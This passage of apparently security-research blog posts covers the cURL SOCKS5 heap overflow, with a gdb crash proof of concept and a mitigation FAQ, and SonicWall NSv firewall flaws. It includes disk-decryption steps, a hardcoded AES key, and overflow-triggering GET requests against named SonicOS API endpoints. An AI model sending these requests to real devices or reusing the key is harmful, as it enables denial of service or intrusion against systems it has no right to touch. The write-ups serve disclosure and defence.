# gdb --args curl  -vvv -x socks5h://172.17.0.1:9050 $(python3 -c "print(('A'*10000), end='')")
[truncated]
(gdb) run
Starting program: /usr/local/bin/curl -vvv -x socks5h://172.17.0.1:9050 AAAAAAAAA[truncated]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
*   Trying 172.17.0.1:9050...
* SOCKS5: server resolving disabled for hostnames of length > 255 [actual len=10000]
* SOCKS5 connect to AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[truncated]
Program received signal SIGSEGV, Segmentation fault.
0x00007f529d9f0aec in Curl_resolver_kill () from /usr/local/lib/libcurl.so.4
(gdb) x/1i $pc
=> 0x7f529d9f0aec <Curl_resolver_kill+28>:      cmp    QWORD PTR [rdi],0x0
(gdb) info registers rdi
rdi            0x4141414141414141  4702111234474983745
(gdb)

Yikes! Clearly the out-of-the box cURL is vulnerable, to something at least! Although this simple PoC isn’t actually overflowing the SOCKS context buffer itself, we’ve broken the error handling and caused enough corruption to read an arbitrary memory location - clearly something’s not so right. Given this instability, combined with the lack of public analysis on version 7, we’d advise anyone still running version 7 to upgrade to version 8 at their earliest convenience..

Summary

So here we have it - a heap overflow in cURL, and in libcURL, the embedded version. Fortunately (for defenders) it requires use of a SOCKS proxy, and it only affects a well-defined range of cURL versions.

So it’s not world-ending, but it’s fairly bad, particularly for users of a 7.x version of cURL. The real problem with bugs such as these is the amount of disparate codebases and embedded devices that contain libcURL, and will now need patching.

A frank and informative analysis by the author of the vulnerable code notes that the bug has been in the cURL codebase for 1315 days - enough to filter through into appliances and other “oops I forgot about that one” devices. I suspect we’ll be patching this one for quite some time.

FAQ

In what is becoming a regular feature of watchTowr blog posts, here’s a quick question-and-answer section to quell any hopefully misplaced panic:

Q) Which versions are affected?

A) Affected versions are libcURL above (and including) 7.69.0 and up to (and including) 8.3.0. Versions below 7.69.0 are not affected.

Q) Is watchTowr aware of any trivially-exploitable enterprise-grade software where this vulnerability could be abused?

A) At this point in time, no.

Q) Are the conditions necessary for an external-party to exploit this vulnerability common?

A) No.

Q) Does this bug require a malicious SOCKS proxy?

A) No, it does not, it just needs a connection to a malicious host over a SOCKS proxy.

Q) I use the command-line version of cURL all the time! It’s version 8, but below the fixed 8.4.0. Do I need to upgrade?

A) Well, you should always upgrade, because it’s a Best Practice (TM). But the bug likely isn’t exploitable on your system, so rest easy.

Q) I use the command-line version of cURL all the time, and it’s only version 7 - but I never use a SOCKS proxy. Should I be worried?

A) The bug doesn’t affect you, since you don’t use a SOCKS proxy. Having said that, I’d advise caution - it may be difficult to ensure that malicious users can’t force you to use a SOCKS proxy (for example, as an elevation or lateral-movement path). Upgrading, if at all possible, is always the safest option.

Q) I use the command-line version of cURL all the time, and it’s only version 7 - and I use a SOCKS proxy. How about me?

A) Ooof, that’s a bad scenario. While the cURL documentation isn’t clear on the exploitability of the v7 commandline tool, we’ve shown that at least some versions will segfault, although it isn’t clear if this is due to a heap overflow condition. In the absence of a clear answer on exploitability, we would advise you to upgrade to version 8 as a matter of urgency.

Q) I can’t upgrade! How can I mitigate this vulnerability?

A) You can mitigate by avoiding the use of a SOCKS proxy, if at all possible. If you run cURL in a privileged context, be aware that various options may enable a SOCKS proxy, both from the command-line, URL, or environment variables, and you may need to sanitize these to prevent a malicious user from connecting to a malicious SOCKS proxy.

Q) Is this vulnerability going to turn every SSRF into RCE?

A) Sadly not.

Ghost In The Wire, Sonic In The Wall - Adventures With SonicWall

20 October 2023 at 08:03
Ghost In The Wire, Sonic In The Wall - Adventures With SonicWall

Here at watchTowr, we just love attacking high-privilege devices (and spending hours thinking of awful titles [see above]).

A good example of these is the device class of ‘next generation’ firewalls, which usually include VPN termination functionality (meaning they’re Internet-accessible by network design). These devices patrol the border between the untrusted Internet and an organisation’s softer internal network, and so are a great place for attackers to elevate their status from ‘outsiders’ to ‘trusted users’.

Ghost In The Wire, Sonic In The Wall - Adventures With SonicWall

We’ve found in previous research projects such devices usually drag behind them a legacy codebase, often full of vulnerabilities, weaknesses, unexpected behaviour, false-positives and forgotten functionality.

Up until now, one vendor has escaped our eye - SonicWall, a company who (as the name suggests) center around firewalls and secure border devices. Fear not, SonicWall users, the time has come for your devices to be scrutinised!

Like previous devices we’ve looked at, SonicWall's NGFW series of physical and cloud routers is designed to sit at the border to a corporate network and, conceptually, filter traffic. It does this with a traditional firewall, with rapidly-updated IP and DNS-based blocklists, and via other more complex means, such as a traditional antivirus and ‘deep’ SSL inspection.

In order to inspect encrypted traffic, the device is often equipped with a CA TLS certificate, meaning easy MiTM attacks for an attacker who manages to break into the device. VPN functionality makes it even more interesting to an attacker, since the device is thus accessible by a large amount of users and usually exposed to the entire internet.

Clearly this is a device positioned as high-privilege and hardened.

As you can imagine, we foam at the mouth at the prospect of some nice juicy bugs in such devices. As researchers, these are the challenges that keep us going - finding bugs and weaknesses to help the red team position itself at the best possible angle, so defenders can have the most realistic view of their network landscape.

Can we find a way to elevate from a VPN user to exploit the privileged position of the router in the network, bypassing firewall rules and access policies? Could we find RCE, enabling MiTM attacks? No TLS connection is safe when the device holds a root CA cert!

Device Acquisition

Ghost In The Wire, Sonic In The Wall - Adventures With SonicWall

Acquiring access to a SonicWall device was easy - as is the trend these days, SonicWall have a cloud-based device via EC2, and also provide a ‘free trial’ period for us to do our analysis. Smashing! We fire it up and get going. If you’re following along at home, we played with version 7.0.1-5111 build 2052.

Our first step was to take an image of the disks to examine them offline. This is where we hit our first roadblock.

Encrypted disks

SonicWall, it seems, decided to use full-disk encryption in their EC2 image, which is frustrating as a security researcher not because it prevents access, but rather because defeating it it soaks up time that could be better spent doing actual analysis.

We can only speculate on SonicWall's motivation for doing so - perhaps some common audit requirement among their clients, an attempt to hinder tampering, or an effort to prevent counterfeit devices.

Fortunately, after some time, we found an excellent writeup (in Chinese, but us anglophones could figure out what was going on) on the topic of extracting the FDE keys, which suggests using a hypervisor’s debug features to set a breakpoint in the GRUB bootloader, responsible for mounting the disks (and thus having access to the FDE keys).

We applied this research to mount the disk partitions, and all seemed well - until we found one partition which we could not mount read-write, but would only mount read-only.

# cat key-p3 | cryptsetup luksOpen /dev/nvme0n1p3 p3
# cat key-p6 | cryptsetup luksOpen /dev/nvme0n1p6 p6
# cat key-p7 | cryptsetup luksOpen /dev/nvme0n1p7 p7
# cat key-p9 | cryptsetup luksOpen /dev/nvme0n1p9 p9
# mkdir /mnt/p3 /mnt/p6 /mnt/p7 /mnt/p9
# mount /dev/mapper/p3 /mnt/p3
mount: /mnt/p3: wrong fs type, bad option, bad superblock on /dev/mapper/p3, missing codepage or helper program, or other error.
       dmesg(1) may have more information after failed mount system call.
# mount /dev/mapper/p6 /mnt/p6
# mount /dev/mapper/p7 /mnt/p7
# mount /dev/mapper/p9 /mnt/p9

Why did partition 3 not mount? It’s definitely an ext3 partition:

# file --dereference --special-files /dev/mapper/p3
/dev/mapper/p3: Linux rev 1.0 ext2 filesystem data (mounted or unclean), UUID=39a04b61-3410-406d-8ee2-9a07635993e0 (large files)

Weird, huh? Fortunately dmesg gives us a clue:

# tail -n 1 dmesg
[  800.837818] EXT4-fs (dm-0): couldn't mount RDWR because of unsupported optional features (ff000000)

After some head-scratching, we realised that SonicWall took the additional step of setting the ‘required features’ flags in the ext4 filesystem to 0xFF (shown in the output of dmesg above). This tells the ext4 driver code that mounting the filesystem requires support for a whole bunch of features that don’t actually exist yet, and so, the ext4 driver errs on the side of caution and refuses to continue.

Presumably this is intended to prevent the SonicWall appliance from inadvertently mounting the partition read-write, rather than as a security measure.

To get around it, we can simply modify the partition’s flags, and then we can mount it:

# printf '\\000' | dd of=/dev/mapper/p3 seek=$((0x467)) conv=notrunc count=1 bs=1
# mount /dev/mapper/p3 /mnt/p3

Once we’ve finished, we can restore the original flags:

# umount /dev/mapper/p3
# printf '\\377' | dd of=/dev/mapper/p3 seek=$((0x467)) conv=notrunc count=1 bs=1

Et Voila - we have all the disk partitions mounted and can proceed to do our analysis.

First impressions

Once we’d sidestepped the disk encryption, our first impressions of the architecture were pretty positive, from a security point of view.

SonicWall made the decision to segment their offering via the rocket containerization platform, which can bring benefits to both manageability and security. We speculate that breaking out of the container is probably straightforward, due to the high-performance in-kernel packet switching code that the container has access to, although this was beyond the scope of our research (for now).

Like most devices in this class, the bulk of the application logic is in one large binary - the 95MB sonicosv binary. However, one thing that we found very useful is that SonicWall also ship a second binary, aptly named sonicosv.debug, which is approximately 50MB larger. While it is not a ‘debug’ binary in the sense that symbols are still stripped, it does contain a wealth of additional checks and logging functionality, which makes reversing the binary much, much easier.

There are also a bunch of seemingly-unused functions in the debug binary which make those long hours staring at a disassembler that little bit more amusing.

Ghost In The Wire, Sonic In The Wall - Adventures With SonicWall
Me too, SonicWall, me too

First bugs

So typically, once we open up a large new codebase like this, we spend some time getting acquainted with the code.

Ghost In The Wire, Sonic In The Wall - Adventures With SonicWall

A few hours turn into a few days, as we write IDAPython snippets to extract function names from log functions, we identify functions that might come in handy later on, and generally figure out what’s going on.

It’s rare, at this stage, that we discover any vulnerabilities - but in this case, something rapidly caught our eye:

Ghost In The Wire, Sonic In The Wall - Adventures With SonicWall
Oooh, what's this?

A leet-speak encoded string, being fed into an encryption primitive?! Oooh! What could this be? Let’s take a look around.

char key[512];
__int64 IV[2];
char encryptedData[208];

queryStringData = parseQueryStringData(a2);
for ( i = queryStringData; i; i = *i )
{
  if ( !strcmp(i->paramName, "url") )
  {
    if ( logThingToSyslog("NOTICE", "dynHandleBuyToolbar", 12239LL) )
      sub_1FF1DBC("Encypted URL Data [%s]", i->paramData);
    dataLen = strlen(i->paramData) / 2;
    if ( !dataLen )
    {
      if ( logThingToSyslog("NOTICE", "dynHandleBuyToolbar", 12245LL) )
        sub_1FF1DBC("No query data", "dynHandleBuyToolbar");
      break;
    }
    toEncrypt = SWCALLOC(1LL, dataLen, "dynHandleBuyToolbar", 12249LL);
    if ( toEncrypt )
    {
      sub_27D4B82(i->paramData, toEncrypt, dataLen);
      memset(encryptedData, 0, 0x200uLL);
      aesInit(1LL, "D3lls0n1cwLl00", 16LL, expandedKey);
      IV = {0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15};
      do_aes_cbc_encrypt(toEncrypt, encryptedData, dataLen, expandedKey, IV, NULL);
      v32 = strlen(encryptedData);
      v28 = encryptedData[v32 - 1];
      if ( !is_asc(v28) )
        encryptedData[v32 - v28] = 0;
      if ( logThingToSyslog("NOTICE", "dynHandleBuyToolbar", 12286LL) )
        sub_1FF1DBC("new buy toolbar URL [%s] length [%d] new length [%d]", encryptedData, v32, v32 - v28, v14, v15);
      snprintf(byte_D564F80, 0x100uLL, "%s", encryptedData);
      saveRamPrefs();
      swFree(toEncrypt, "dynHandleBuyToolbar", 12290LL);
      }
    }
  }
  freeQueryStringData(queryStringData);
}

Oh wow, what’s going on here?! First off, we have the weak key we just happened upon. Then there’s a hard-coded IV, and - to top it off - it looks like there’s an overflow in the encryptedData buffer. Yikes!

What is this functionality, though? We couldn’t find any references to it in SonicWall's documentation, nor any way to activate it. After some thorough investigation, we concluded that it could well be related to this “customer requested enhancement”, related to running a demo banner at the top of the site.

Ghost In The Wire, Sonic In The Wall - Adventures With SonicWall

No matter how we reversed, though, we couldn’t seem to find a way to actually enable this functionality. We concluded that it either requires some arcane invocation, or that functionality to enable it simply isn’t present in retail builds of the SonicWall software.

We suspected, at this point, that SonicWall’s “demo” environment (in which an emulated SonicWall device is available publicly for prospective users to play with) may expose this code, but (for obvious legal and ethical reasons) we couldn’t probe the SonicWall site, and so our research into this bug ended here, with us reporting it to SonicWall's security team.

While we were somewhat uneasy about reporting a finding without being able to demonstrate the dire consequence of exploitation, Sonicwall took the finding seriously and assigned it CVE-2023-41713.

It is interesting to note that Sonicwall appear to have remediated the issue by removing this functionality entirely, suggesting it was indeed a half-baked solution to an extremely uncommon configuration used by the third-party vendor named in the secret. So, while we have a neat bug, it’s not ‘world-ending’ - our appetites whetted, we continued our search for bugs.

Ghost In The Wire, Sonic In The Wall - Adventures With SonicWall

SSLVPN, my old friend

With the flurry of excitement of our first find fading fast, we decided we’d focus our efforts on the SSLVPN functionality that the device exposes.

This is historically a good spot to hunt bugs - we’ve seen a significant amount of truly ‘sky is falling’-level bugs in other appliances in this area - even recently - so perhaps we can replicate that success. We switch the SonicWall device to use the ‘debug’ version of the binary, for more verbose logging and easier reversing, and get cracking (so to speak).

Indeed, once we start looking, the flames of our hopes are fanned by the code we see - lots and lots of 90s-style C code handing lots and lots of user-provided data. What could possibly go wrong?!

As we’ve mentioned in previous posts, it’s always a good starting point to map HTTP routes when analyzing any web service, and this is no different - except rather than finding those routes in an apache.conf on the filesystem, they’re in the binary itself, and in this case, they’re spread out into a few different places, from tables of read-only data and tables maintained at runtime, all the way to hardcoded case statements.

Let’s take a look at some of what SonicWall terms ‘dynamic’ handlers. These are registered at system startup via the dynRegister function, which takes an ID, the URL of the object to register, and a handler function. Here’s an example:

Ghost In The Wire, Sonic In The Wall - Adventures With SonicWall

Poking through some of these, there’s one for manipulating bookmark data for logged-in SSLVPN users. Who can spot the bug below?

__int64 __fastcall sub_3113AE4(unsigned int origin_socketIn, auto requestData, bool loginOverride)
{
  char domainName[128] = {0};
  char dest[200] = {0};

  unsigned int origin_socket = origin_socketIn;
  bool userIsLoggedIn = loginOverride || ((bool)checkUserLoggedIn(origin_socketIn));

  if ( requestData && requestData->unknown )
  {
    auto StringData = parseQueryStringData(requestData);
    for ( auto i = StringData; i != NULL; i = i->next )
    {
      if ( strcmp(i->paramName, "userName") == 0)
      {
        size_t paramDataLen = strlen(i->paramData);

        char* posOfAtSymbol = strchr(i->paramData, '@');
        if ( posOfAtSymbol != 0)
        {
          memcpy(dest, i->paramData, posOfAtSymbol - i->paramData);
          memcpy(domainName, posOfAtSymbol + 1, paramDataLen + s - posOfAtSymbol - 1);
        }
        else
        {
          memcpy(dest, i->paramData, paramDataLen);
        }
      }
      else if ( strcmp(i->paramName, "origin_socket") == 0 )
      {
        sscanf(i->paramData, "%d", &origin_socket);
      }
    }
    freeQueryStringData(StringData);
  }
  if ( !dest[0] )
    return 0xFFFFFFFFLL;
  if ( userIsLoggedIn)
    jsonPrintBookmarkArray(origin_socketIn, dest, domainName, origin_socket);
  return 0LL;
}

Those familiar with binary-level bug-hunting will quickly have their attention taken by the fixed-size buffers - two of them, in this case - dest and domainName. They’ll also be interested in the memcpy calls, and will be positively gripped by the combination - developers are always getting memcpy wrong and overflowing stack buffers for a nice easy-to-exploit stack overflow.

Indeed, this function doesn’t disappoint - simply feeding it a large enough string is enough to overflow the stack buffer:

GET /api/sonicos/dynamic-file/getBookmarkList.json?userName=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
Ghost In The Wire, Sonic In The Wall - Adventures With SonicWall

Nice! Although accessing this endpoint requires authentication, as an SSLVPN user, this bug appeared to be pretty serious, enabling RCE as root. We celebrated our win, and only later thought to try the same bug on the non-debug version of the SonicWall appliance.

Saved by the compiler

Unfortunately, when we tried to replicate this vulnerability on a non-debug instance of the SonicWall, we found the machine would fail in a significantly more graceful manner, with a nasty SIGABRT instead of a lovely SIGSEGV:

Ghost In The Wire, Sonic In The Wall - Adventures With SonicWall

What’s happening here?! Where’s our nice RCE?!

Ghost In The Wire, Sonic In The Wall - Adventures With SonicWall

Well, let’s take a look at the differences between the debug and ‘release’ versions of the code.

The debug version, which we can overflow:

Ghost In The Wire, Sonic In The Wall - Adventures With SonicWall

And the release version, which we cannot:

Ghost In The Wire, Sonic In The Wall - Adventures With SonicWall

What’s this?! “memcpy_chk”?! Is this what’s causing our issues?

It turns out, when gcc is supplied with the argument -DFORTIFY_SOURCE, calls to memcpy (and a few other functions) will be replaced by a call to memcpy_chk, which will perform a similar duty to the original memcpy but will also check the destination buffer length (you can see it in the last argument in the release code screenshot again). memcpy_chk will ensure that any potential overrun is caught, and instead of overflowing the destination buffer (leading to that juicy RCE), the target will call abort and exit immediately. D’oh!

This has the effect of downgrading our RCE to a DoS bug when run against release versions of the SonicWall NSv. We estimate that the portion of users running the debug version is vanishingly small (if you’re running the debug version in production, we’d love to hear from you!), and so sadly reported this as an authenticated DoS bug to SonicWall. The CVE for this one is CVE-2023-39276 (see below for more info on fixed versions of the code).

Spurned by our near-miss, we took a look through some of the other handlers, and spotted another stack overflow, this time in the sonicflow.csv handler, centering around the sn querystring parameter.

The same sort of thing happens, with a querystring parameter unsafely copied into a stack buffer:

char v21[64];

StringData = parseQueryStringData(a2);
for ( i = StringData; i; i = *i )
{
...
   if ( !strcmp(i->paramName, "sn") )
     strcpy(v21, i->paramData);
...
}
freeQueryStringData(StringData);

Whoops! Let’s feed it some A’s once again:

GET /api/sonicos/dynamic-file/sonicflow.csv?sn=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
Ghost In The Wire, Sonic In The Wall - Adventures With SonicWall

Another stack overflow - sadly with the same caveat, it is only exploitable on the NSv we analysed as a DoS in release mode (while debug mode is exploitable for full RCE).

We found the same bug was reachable from the appflowsessions.csv endpoint, and duly reported the bug to SonicWall. This vulnerability was assigned CVE-2023-39277.

A whole bunch of DoS bugs

So, at this juncture, we’ve got three CVEs - a hardcoded credential, and two stack overflows. Neat! What’s next?

Well, as regular readers might remember, some time ago we located a DoS bug in a competing device, Fortinet’s FortiGuard, which relied on sending a GET request to an endpoint which would usually only receive a POST.

Since checks for a request body were erroneously omitted, the Fortinet device would assume a body was present on the GET request, and attempt to reference invalid memory at the NULL address. We wondered, are such bugs more common than we thought? Perhaps a similar bug could exist in the SonicWall device, too.

To search for this bug, we decided to extract routes from the binary directly (thus hitting lots of endpoints that aren’t currently used and thus might be missed by conventional spidering). In addition to the “dynamic” handlers above, we located a few tables containing route information.

Here’s the first:

.data:0000000008CB64C0 C9 DF 8C 04 00+off_8CB64C0     dq offset aActivationview_0 ; "activationView.html"
.data:0000000008CB64C8 00 08 00 00 00+                dq 800h
.data:0000000008CB64D0 78 33 0B 0A 00+                dq offset qword_A0B3378
.data:0000000008CB64D8 DD DF 8C 04 00+                dq offset aActiveconnecti_2 ; "activeConnectionsMonitor.html"
.data:0000000008CB64E0 00 21 00 00 00+                dq 2100h
.data:0000000008CB64E8 78 33 0B 0A 00+                dq offset qword_A0B3378
.data:0000000008CB64F0 FB DF 8C 04 00+                dq offset aAddafobjgroupd ; "addAFObjGroupDlg.html"
.data:0000000008CB64F8 00 00 00 00 00+                align 20h
.data:0000000008CB6500 78 33 0B 0A 00+                dq offset qword_A0B3378
.data:0000000008CB6508 11 E0 8C 04 00+                dq offset aAddantispamall ; "addAntispamAllowListDlg.html"
.data:0000000008CB6510 00 09 00 00                    dd 900h
.data:0000000008CB6514 00 00 00 00                    dd 0
.data:0000000008CB6518 78 33 0B 0A 00+                dq offset qword_A0B3378
.data:0000000008CB6520 2E E0 8C 04 00+                dq offset aAddantispamrej ; "addAntispamRejectListDlg.html"

Here we have a series of structures, with each containing an endpoint filename, some kind of ‘flags’ integer (which actually stores which methods are valid for each endpoint, along with required authentication information), and some kind of state object.

We wrote some quick IDAPython to pull out all the URLs, and continued our search. We found another table, containing far more interesting data. It’s quite verbose, as you can see:

.data:0000000008BCB240                ; sonicos_api_hateoas_entry URLHandlerTable
.data:0000000008BCB240 99 10 23 04 00+URLHandlerTable dq offset aApiSonicos_0 ; name
.data:0000000008BCB240 00 00 00 00 00+                                        ; DATA XREF: sub_189B1AD+19↑o
.data:0000000008BCB240 00 00 00 00 00+                                        ; sonicOsApi_serviceRequest+164↑o
.data:0000000008BCB248 00 01 01 00 00+                dq 0                    ; field_8 ; "/api/sonicos"
.data:0000000008BCB250 00 00 00 00 5E+                dq 101h                 ; info_GET.field_0
.data:0000000008BCB258 E1 8B 01 00 00+                dq offset sub_18BE15E   ; info_GET.handlerFunc
.data:0000000008BCB260 00 00 04 00 00+                dd expectedEmptyRequestBody; info_GET.flags
.data:0000000008BCB264 00 00 00 00 00+                dd 0                    ; info_GET.field_14
.data:0000000008BCB268 01 00 00 00 00+                dd 1                    ; info_GET.somethingToDoWithContentType_in
.data:0000000008BCB26C 00 00 00 00 00+                db 18h dup(0)
.data:0000000008BCB284 00 00 00 00 00+                dd 1                    ; info_GET.somethingToDoWithContentType_out
.data:0000000008BCB288 00 00 00 00 00+                db 6, 17h dup(0)
.data:0000000008BCB2A0 00 00 00 00 00+                dw 1                    ; info_GET.flagsToDoWithContentType
.data:0000000008BCB2A2 00 00 00 01 00+                db 6 dup(0)
.data:0000000008BCB2A8 00 00 06 00 00+                dq 0                    ; info_POST.field_0
.data:0000000008BCB2B0 00 00 00 00 00+                dq 0                    ; info_POST.handlerFunc
.data:0000000008BCB2B8 00 00 00 00 00+                dd 0                    ; info_POST.flags
.data:0000000008BCB2BC 00 00 00 00 00+                dd 0                    ; info_POST.field_14
.data:0000000008BCB2C0 00 00 00 00 00+                dd 0                    ; info_POST.somethingToDoWithContentType_in
.data:0000000008BCB2C4 00 01 00 00 00+                db 18h dup(0)
.data:0000000008BCB2DC 00 00 00 00 00+                dd 0                    ; info_POST.somethingToDoWithContentType_out
.data:0000000008BCB2E0 00 00 00 00 00+                db 18h dup(0)
.data:0000000008BCB2F8 00 00 00 00 00+                dw 0                    ; info_POST.flagsToDoWithContentType
.data:0000000008BCB2FA 00 00 00 00 00+                db 6 dup(0)
.data:0000000008BCB300 00 00 00 00 00+                dq 0                    ; info_PUT.field_0
.data:0000000008BCB308 00 00 00 00 00+                dq 0                    ; info_PUT.handlerFunc
.data:0000000008BCB310 00 00 00 00 00+                dd 0                    ; info_PUT.flags
.data:0000000008BCB314 00 00 00 00 00+                dd 0                    ; info_PUT.field_14
.data:0000000008BCB318 00 00 00 00 00+                dd 0                    ; info_PUT.somethingToDoWithContentType_in
.data:0000000008BCB31C 00 00 00 00 00+                db 18h dup(0)
.data:0000000008BCB334 00 00 00 00 00+                dd 0                    ; info_PUT.somethingToDoWithContentType_out
.data:0000000008BCB338 00 00 00 00 00+                db 18h dup(0)
.data:0000000008BCB350 00 00 00 00 00+                dw 0                    ; info_PUT.flagsToDoWithContentType
.data:0000000008BCB352 00 00 00 00 00+                db 6 dup(0)
.data:0000000008BCB358 00 00 00 00 00+                dq 0                    ; info_PATCH.field_0
.data:0000000008BCB360 00 00 00 00 00+                dq 0                    ; info_PATCH.handlerFunc
.data:0000000008BCB368 00 00 00 00 00+                dd 0                    ; info_PATCH.flags
.data:0000000008BCB36C 00 00 00 00 00+                dd 0                    ; info_PATCH.field_14
.data:0000000008BCB370 00 00 00 00 00+                dd 0                    ; info_PATCH.somethingToDoWithContentType_in
.data:0000000008BCB374 00 00 00 00 00+                db 18h dup(0)
.data:0000000008BCB38C 00 00 00 00 00+                dd 0                    ; info_PATCH.somethingToDoWithContentType_out
.data:0000000008BCB390 00 00 00 00 00+                db 18h dup(0)
.data:0000000008BCB3A8 00 00 00 00 00+                dw 0                    ; info_PATCH.flagsToDoWithContentType
.data:0000000008BCB3AA 00 00 00 00 00+                db 6 dup(0)
.data:0000000008BCB3B0 00 00 00 00 00+                dq 0                    ; info_DELETE.field_0
.data:0000000008BCB3B8 00 00 00 00 00+                dq 0                    ; info_DELETE.handlerFunc
.data:0000000008BCB3C0 00 00 00 00 00+                dd 0                    ; info_DELETE.flags
.data:0000000008BCB3C4 00 00 00 00 00+                dd 0                    ; info_DELETE.field_14
.data:0000000008BCB3C8 00 00 00 00 00+                dd 0                    ; info_DELETE.somethingToDoWithContentType_in
.data:0000000008BCB3CC 00 00 00 00 00+                db 18h dup(0)
.data:0000000008BCB3E4 00 00 00 00 00+                dd 0                    ; info_DELETE.somethingToDoWithContentType_out
.data:0000000008BCB3E8 00 00 00 00 00+                db 18h dup(0)
.data:0000000008BCB400 00 00 00 00 00+                dw 0                    ; info_DELETE.flagsToDoWithContentType
.data:0000000008BCB402 00 00 00 00 00+                db 6 dup(0)
.data:0000000008BCB408 00 00 00 00 00+                dq 0                    ; info_HEAD.field_0
.data:0000000008BCB410 00 00 00 00 00+                dq 0                    ; info_HEAD.handlerFunc
.data:0000000008BCB418 00 00 00 00 00+                dd 0                    ; info_HEAD.flags
.data:0000000008BCB41C 00 00 00 00 00+                dd 0                    ; info_HEAD.field_14
.data:0000000008BCB420 00 00 00 00 00+                dd 0                    ; info_HEAD.somethingToDoWithContentType_in
.data:0000000008BCB424 00 00 00 00 00+                db 18h dup(0)
.data:0000000008BCB43C 00 00 00 00 00+                dd 0                    ; info_HEAD.somethingToDoWithContentType_out
.data:0000000008BCB440 00 00 00 00 00+                db 18h dup(0)
.data:0000000008BCB458 00 00 00 00 00+                dw 0                    ; info_HEAD.flagsToDoWithContentType
